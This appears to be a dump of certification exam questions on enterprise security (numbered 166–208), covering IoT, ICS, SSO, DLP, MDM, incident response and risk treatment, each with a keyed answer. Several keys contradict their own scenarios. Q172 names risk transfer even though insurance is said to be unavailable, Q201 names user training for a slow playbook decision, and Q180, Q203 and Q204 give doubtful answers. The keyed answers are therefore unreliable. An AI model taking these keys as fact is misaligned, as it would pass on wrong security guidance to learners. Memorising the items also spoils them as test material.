An organization is deploying IoT locks, sensors, and cameras, which operate over 802.11, to replace legacy building access control systems. These devices are capable of triggering physical access changes, including locking and unlocking doors and gates. Unfortunately, the devices have known vulnerabilities for which the vendor has yet to provide firmware updates.

Which of the following would BEST mitigate this risk?

A. Direct wire the IoT devices into physical switches and place them on an exclusive VLAN.
B. Require sensors to sign all transmitted unlock control messages digitally.
C. Associate the devices with an isolated wireless network configured for WPA2 and EAP-TLS.
D. Implement an out-of-band monitoring solution to detect message injections and attempts.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 167
A security administrator is updating corporate policies to respond to an incident involving collusion between two systems administrators that went undetected for more than six months.

Which of the following policies would have MOST likely uncovered the collusion sooner? (Choose two.)

A. Mandatory vacation
B. Separation of duties
C. Continuous monitoring
D. Incident response
E. Time-of-day restrictions
F. Job rotation

Correct Answer: BF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 168
A core router was manipulated by a credentialed bypass to send all network traffic through a secondary router under the control of an unauthorized user connected to the network by WiFi.

Which of the following would BEST reduce the risk of this attack type occurring?

A. Implement a strong, complex password policy for user accounts that have access to the core router.
B. Deploy 802.1X as the NAC system for the WiFi infrastructure.
C. Add additional port security settings for the switching environment connected to the core router.
D. Allow access to the core router management interface only through an out-of-band channel.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 169
An infrastructure team is at the end of a procurement process and has selected a vendor. As part of the final negotiation, there are a number of outstanding issues, including:

1. Indemnity clauses have identified the maximum liability.
2. The data will be hosted and managed outside of the company's geographical location.

The number of users accessing the system will be small, and no sensitive data will be hosted in the solution. As the security consultant of the project, which of the following should the project's security consultant recommend as the NEXT step?

A. Develop a security exemption, as it does not meet the security policies.
B. Require the solution owner to accept the identified risks and consequences.
C. Mitigate the risk by asking the vendor to accept the in-country privacy principles.
D. Review the procurement process to determine the lessons learned.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 170
A company recently implemented a variety of security services to detect various types of traffic that pose a threat to the company. The following services were enabled within the network:

• Scan of specific subsets for vulnerabilities
• Categorizing and logging of website traffic
• Enabling specific ACLs based on application traffic
• Sending suspicious files to a third-party site for validation

A report was sent to the security team that identified multiple incidents of users sharing large amounts of data from an on-premise server to a public site. A small percentage of that data also contained malware and spyware

Which of the following services MOST likely identified the behavior and sent the report?

A. Content filter
B. User behavioral analytics
C. Application sandbox
D. Web application firewall
E. Endpoint protection
F. Cloud security broker

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 171
An external red team member conducts a penetration test, attempting to gain physical access to a large organization's server room in a branch office. During reconnaissance, the red team member sees a clearly marked door to the server room, located next to the lobby, with a tumbler lock.

Which of the following is BEST for the red team member to bring on site to open the locked door as quickly as possible without causing significant damage?

A. Screwdriver set
B. Bump key
C. RFID duplicator
D. Rake picking

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 172
A company relies on an ICS to perform equipment monitoring functions that are federally mandated for operation of the facility. Fines for non-compliance could be costly. The ICS has known vulnerabilities and can no longer be patched or updated. Cyber-liability insurance cannot be obtained because insurance companies will not insure this equipment.

Which of the following would be the BEST option to manage this risk to the company's production environment?

A. Avoid the risk by removing the ICS from production
B. Transfer the risk associated with the ICS vulnerabilities
C. Mitigate the risk by restricting access to the ICS
D. Accept the risk and upgrade the ICS when possible

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 173
During a sprint, developers are responsible for ensuring the expected outcome of a change is thoroughly evaluated for any security impacts. Any impacts must be reported to the team lead. Before changes are made to the source code, which of the following MUST be performed to provide the required information to the team lead?

A. Risk assessment
B. Regression testing
C. User story development
D. Data abstraction
E. Business impact assessment

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 174
An organization is currently working with a client to migrate data between a legacy ERP system and a cloud-based ERP tool using a global PaaS provider. As part of the engagement, the organization is performing data deduplication and sanitization of client data to ensure compliance with regulatory requirements. Which of the following is the MOST likely reason for the need to sanitize the client data? (Choose two.)

A. Data aggregation
B. Data sovereignty
C. Data isolation
D. Data volume
E. Data analytics
F. Data precision

Correct Answer: BF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 175
A company recently implemented a new cloud storage solution and installed the required synchronization client on all company devices. A few months later, a breach of sensitive data was discovered. Root cause analysis shows the data breach happened from a lost personal mobile device.

Which of the following controls can the organization implement to reduce the risk of similar breaches?

A. Biometric authentication
B. Cloud storage encryption
C. Application containerization
D. Hardware anti-tamper

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 176
A vendor develops a mobile application for global customers. The mobile application supports advanced encryption of data between the source (the mobile device) and the destination (the organization's ERP system).

As part of the vendor's compliance program, which of the following would be important to take into account?

A. Mobile tokenization
B. Export controls
C. Device containerization
D. Privacy policies

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 177
When implementing a penetration testing program, the Chief Information Security Officer (CISO) designates different organizational groups within the organization

as having different responsibilities, attack vectors, and rules of engagement. First, the CISO designates a team to operate from within the corporate environment. This team is commonly referred to as:

A. the blue team.
B. the white team.
C. the operations team.
D. the read team.
E. the development team.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 178
An enterprise's Chief Technology Officer (CTO) and Chief Information Security Officer (CISO) are meeting to discuss ongoing capacity and resource planning issues. The enterprise has experienced rapid, massive growth over the last 12 months, and the technology department is stretched thin for resources. A new accounting service is required to support the enterprise's growth, but the only available compute resources that meet the accounting service requirements are on the virtual platform, which is hosting the enterprise's website.

Which of the following should the CISO be MOST concerned about?

A. Poor capacity planning could cause an oversubscribed host, leading to poor performance on the company's website.
B. A security vulnerability that is exploited on the website could expose the accounting service.
C. Transferring as many services as possible to a CSP could free up resources.
D. The CTO does not have the budget available to purchase required resources and manage growth.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 179
Ann, a retiring employee, cleaned out her desk. The next day, Ann's manager notices company equipment that was supposed to remain at her desk is now missing.

Which of the following would reduce the risk of this occurring in the future?

A. Regular auditing of the clean desk policy
B. Employee awareness and training policies
C. Proper employee separation procedures
D. Implementation of an acceptable use policy

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 180
A security analyst for a bank received an anonymous tip on the external banking website showing the following:

- Protocols supported
  - TLS 1.0
  - SSL 3
  - SSL 2
- Cipher suites supported
  - TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA-ECDH p256r1
  - TLS_DHE_RSA_WITH_AES_256_CBC_SHA-DH 1024bit
  - TLS_RSA_WITH_RC4_128_SHA
- TLS_FALLBACK_SCSV non supported
- POODLE
- Weak PFS
- OCSP stapling supported

Which of the following should the analyst use to reproduce these findings comprehensively?

A. Query the OCSP responder and review revocation information for the user certificates.
B. Review CA-supported ciphers and inspect the connection through an HTTP proxy.
C. Perform a POODLE (SSLv3) attack using an exploitations framework and inspect the output.
D. Inspect the server certificate and simulate SSL/TLS handshakes for enumeration.

Correct Answer: A
Section: (none)

Explanation

Explanation/Reference:

QUESTION 181
A company is moving all of its web applications to an SSO configuration using SAML. Some employees report that when signing in to an application, they get an error message on the login screen after entering their username and password, and are denied access. When they access another system that has been converted to the new SSO authentication model, they are able to authenticate successfully without being prompted for login.

Which of the following is MOST likely the issue?

A. The employees are using an old link that does not use the new SAML authentication.
B. The XACML for the problematic application is not in the proper format or may be using an older schema.
C. The web services methods and properties are missing the required WSDL to complete the request after displaying the login page.
D. A threat actor is implementing an MITM attack to harvest credentials.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 182
A technician is reviewing the following log:

```
1/10/2018 20:30:11 172.56.90.21:8080 -> 192.168.1.10:80 Remote host initiate connection
1/10/2018 20:30:12 102.56.7.210:443 -> 192.168.1.10:1030 Social media chat
1/10/2018 20:30:13 192.168.20.4:2112 -> 172.172.20.34 Sensitive watermarked document transferred
1/10/2018 20:30:14 10.0.200.30:3018 -> 88.23.10.44:80 Improper website accessed
```

Which of the following tools should the organization implement to reduce the highest risk identified in this log?

A. NIPS
B. DLP
C. NGFW
D. SIEM

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 183
A Chief Information Security Officer (CISO) is creating a security committee involving multiple business units of the corporation.

Which of the following is the BEST justification to ensure collaboration across business units?

A. A risk to one business unit is a risk avoided by all business units, and liberal BYOD policies create new and unexpected avenues for attackers to exploit enterprises.
B. A single point of coordination is required to ensure cybersecurity issues are addressed in protected, compartmentalized groups.
C. Without business unit collaboration, risks introduced by one unit that affect another unit may go without compensating controls.
D. The CISO is uniquely positioned to control the flow of vulnerability information between business units.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 184
Due to a recent acquisition, the security team must find a way to secure several legacy applications. During a review of the applications, the following issues are documented:

- The applications are considered mission-critical.
- The applications are written in code languages not currently supported by the development staff.
- Security updates and patches will not be made available for the applications.
- Username and passwords do not meet corporate standards.
- The data contained within the applications includes both PII and PHI.
- The applications communicate using TLS 1.0.
- Only internal users access the applications.

Which of the following should be utilized to reduce the risk associated with these applications and their current architecture?

A. Update the company policies to reflect the current state of the applications so they are not out of compliance.
B. Create a group policy to enforce password complexity and username requirements.
C. Use network segmentation to isolate the applications and control access.
D. Move the applications to virtual servers that meet the password and account standards.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 185
A new security policy states all wireless and wired authentication must include the use of certificates when connecting to internal resources within the enterprise LAN by all employees.

Which of the following should be configured to comply with the new security policy? (Choose two.)

A. SSO
B. New pre-shared key
C. 802.1X
D. OAuth
E. Push-based authentication
F. PKI

Correct Answer: CF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 186
As part of the asset management life cycle, a company engages a certified equipment disposal vendor to appropriately recycle and destroy company assets that are no longer in use. As part of the company's vendor due diligence, which of the following would be MOST important to obtain from the vendor?

A. A copy of the vendor's information security policies.
B. A copy of the current audit reports and certifications held by the vendor.

C. A signed NDA that covers all the data contained on the corporate systems.
D. A copy of the procedures used to demonstrate compliance with certification requirements.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 187
A company's user community is being adversely affected by various types of emails whose authenticity cannot be trusted. The Chief Information Security Officer (CISO) must address the problem.

Which of the following solutions would BEST support trustworthy communication solutions?

A. Enabling spam filtering and DMARC.
B. Using MFA when logging into email clients and the domain.
C. Enforcing HTTPS everywhere so web traffic, including email, is secure.
D. Enabling SPF and DKIM on company servers.
E. Enforcing data classification labels before an email is sent to an outside party.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 188
A product manager is concerned about the unintentional sharing of the company's intellectual property through employees' use of social media. Which of the following would BEST mitigate this risk?

A. Virtual desktop environment

B. Network segmentation
C. Web application firewall
D. Web content filter

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 189
An organization is evaluating options related to moving organizational assets to a cloud-based environment using an IaaS provider. One engineer has suggested connecting a second cloud environment within the organization's existing facilities to capitalize on available datacenter space and resources. Other project team members are concerned about such a commitment of organizational assets, and ask the Chief Security Officer (CSO) for input. The CSO explains that the project team should work with the engineer to evaluate the risks associated with using the datacenter to implement:

A. a hybrid cloud.
B. an on-premises private cloud.
C. a hosted hybrid cloud.
D. a private cloud.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 190
A company uses an application in its warehouse that works with several commercially available tablets and can only be accessed inside the warehouse. The support department would like the selection of tablets to be limited to three models to provide better support and ensure spares are on hand. Users often keep the tablets after they leave the department, as many of them store personal media items.

Which of the following should the security engineer recommend to meet these requirements?

A. COPE with geofencing
B. BYOD with containerization
C. MDM with remote wipe

D. CYOD with VPN

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 191
During a recent incident, sensitive data was disclosed and subsequently destroyed through a properly secured, cloud-based storage platform. An incident response technician is working with management to develop an after action report that conveys critical metrics regarding the incident.

Which of the following would be MOST important to senior leadership to determine the impact of the breach?

A. The likely per-record cost of the breach to the organization
B. The legal or regulatory exposure that exists due to the breach
C. The amount of downtime required to restore the data
D. The number of records compromised

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 192
After an employee was terminated, the company discovered the employee still had access to emails and attached content that should have been destroyed during the off-boarding. The employee's laptop and cell phone were confiscated and accounts were disabled promptly. Forensic investigation suggests the company's DLP was effective, and the content in question was not sent outside of work or transferred to removable media. Personality owned devices are not permitted to access company systems or information.

Which of the following would be the MOST efficient control to prevent this from occurring in the future?

A. Install application whitelist on mobile devices.
B. Disallow side loading of applications on mobile devices.
C. Restrict access to company systems to expected times of day and geographic locations.
D. Prevent backup of mobile devices to personally owned computers.

E. Perform unannounced insider threat testing on high-risk employees.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 193
A systems administrator has deployed the latest patches for Windows-based machines. However, the users on the network are experiencing exploits from various threat actors, which the patches should have corrected. Which of the following is the MOST likely scenario?

A. The machines were infected with malware.
B. The users did not reboot the computer after the patches were deployed.
C. The systems administrator used invalid credentials to deploy the patches.
D. The patches were deployed on non-Windows-based machines.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 194
A newly hired Chief Information Security Officer (CISO) wants to understand how the organization's CIRT handles issues brought to their attention, but needs to be very cautious about impacting any systems. The MOST appropriate method to use would be:

A. an internal vulnerability assessment.
B. a red-team threat-hunt exercise.
C. a white-box penetration test.
D. a guided tabletop exercise.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 195
A systems analyst is concerned that the current authentication system may not provide the appropriate level of security. The company has integrated WAYF within its federation system and implemented a mandatory two-step authentication system. Some accounts are still becoming compromised via phishing attacks that redirect users to a fake portal, which is automatically collecting and replaying the stolen credentials. Which of the following is a technical solution that would BEST reduce the risk of similar compromises?

A. Security awareness training
B. Push-based authentication
C. Software-based TOTP
D. OAuth tokens
E. Shibboleth

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 196
A company recently experienced a security incident in which its domain controllers were the target of a DoS attack. In which of the following steps should technicians connect domain controllers to the network and begin authenticating users again?

A. Preparation
B. Identification
C. Containment
D. Eradication
E. Recovery
F. Lessons learned

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 197
A government contracting company issues smartphones to employees to enable access to corporate resources. Several employees will need to travel to a foreign country for business purposes and will require access to their phones. However, the company recently received intelligence that its intellectual property is highly desired by the same country's government. Which of the following MDM configurations would **BEST** reduce the risk of compromise while on foreign soil?

A. Disable firmware OTA updates.
B. Disable location services.
C. Disable push notification services.
D. Disable wipe

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 198
A Chief Information Security Officer (CISO) needs to create a policy set that meets international standards for data privacy and sharing. Which of the following should the CISO read and understand before writing the policies?

A. PCI DSS
B. GDPR
C. NIST
D. ISO 31000

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 199
Which of the following attacks can be used to exploit a vulnerability that was created by untrained users?

A. A spear-phishing email with a file attachment
B. A DoS using IoT devices
C. An evil twin wireless access point

D. A domain hijacking of a bank website

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 200
Which of the following attacks can be mitigated by proper data retention policies?

A. Dumpster diving
B. Man-in-the browser
C. Spear phishing
D. Watering hole

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 201
The SOC is reviewing processes and procedures after a recent incident. The review indicates it took more than 30 minutes to determine that quarantining an infected host was the best course of action. This allowed the malware to spread to additional hosts before it was contained. Which of the following would BEST to improve the incident response process?

A. Updating the playbook with better decision points
B. Dividing the network into trusted and untrusted zones
C. Providing additional end-user training on acceptable use
D. Implementing manual quarantining of infected hosts

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 202
A large industrial system's smart generator monitors the system status and sends alerts to third-party maintenance personnel when critical failures occur. While reviewing the network logs, the company's security manager notices the generator's IP is sending packets to an internal file server's IP. Which of the following mitigations would be **BEST** for the security manager to implement while maintaining alerting capabilities?

A. Segmentation
B. Firewall whitelisting
C. Containment
D. Isolation

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 203
Which of the following are the MOST likely vectors for the unauthorized or unintentional inclusion of vulnerable code in a software company's final software releases? (Choose two.)

A. Unsecure protocols
B. Use of penetration-testing utilities
C. Weak passwords
D. Included third-party libraries
E. Vendors/supply chain
F. Outdated anti-malware software

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 204
A security manager needed to protect a high-security data center, so the manager installed a mantrap that can detect an employee's heartbeat, weight, and badge.

Which of the following did the security manager implement?

A. A physical control
B. A corrective control
C. A compensating control
D. A managerial control

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 205
An organization is concerned that its hosted web servers are not running the most updated version of software. Which of the following would work BEST to help identify potential vulnerabilities?

A. `hping3 –S comptia.org –p 80`
B. `nc –1 –v comptia.org –p 80`
C. `nmap comptia.org –p 80 –sV`
D. `nslookup –port=80 comptia.org`

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 206
A company wants to configure its wireless network to require username and password authentication. Which of the following should the system administrator implement?

A. WPS
B. PEAP
C. TKIP
D. PKI

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 207
A security analyst is reviewing the following pseudo-output snippet after running the command `less /tmp/file.tmp`.

```
JFIF
40 42.8562N
74 0.3582W
WGKJASDFJAFD#$TJVQIJ#$FNIHLADVJNKLQKRWEF
ASDFAGFADIFABIO%(FJQI$FJIAPDSVJIQRWEOJFJ
(IIREHOFVJKALWE$DFIKVLEEMQAWREIHDVKJSKDJ
```

The information above was obtained from a public-facing website and used to identify military assets. Which of the following should be implemented to reduce the risk of a similar compromise?

A. Deploy a solution to sanitize geotagging information
B. Install software to wipe data remnants on servers
C. Enforce proper input validation on mission-critical software
D. Implement a digital watermarking solution

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 208
An international e-commerce company has identified attack traffic originating from a whitelisted third party's IP address used to mask the third party's internal network. The security team needs to block the attack traffic without impacting the vendor's services. Which of the following is the BEST approach to identify the threat?

A. Ask the third-party vendor to block the attack traffic
B. Configure the third party's proxy to begin sending X-Forwarded-For headers
C. Configure the e-commerce company's IPS to inspect HTTP traffic
D. Perform a vulnerability scan against the network perimeter and remediate any issues identified

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference: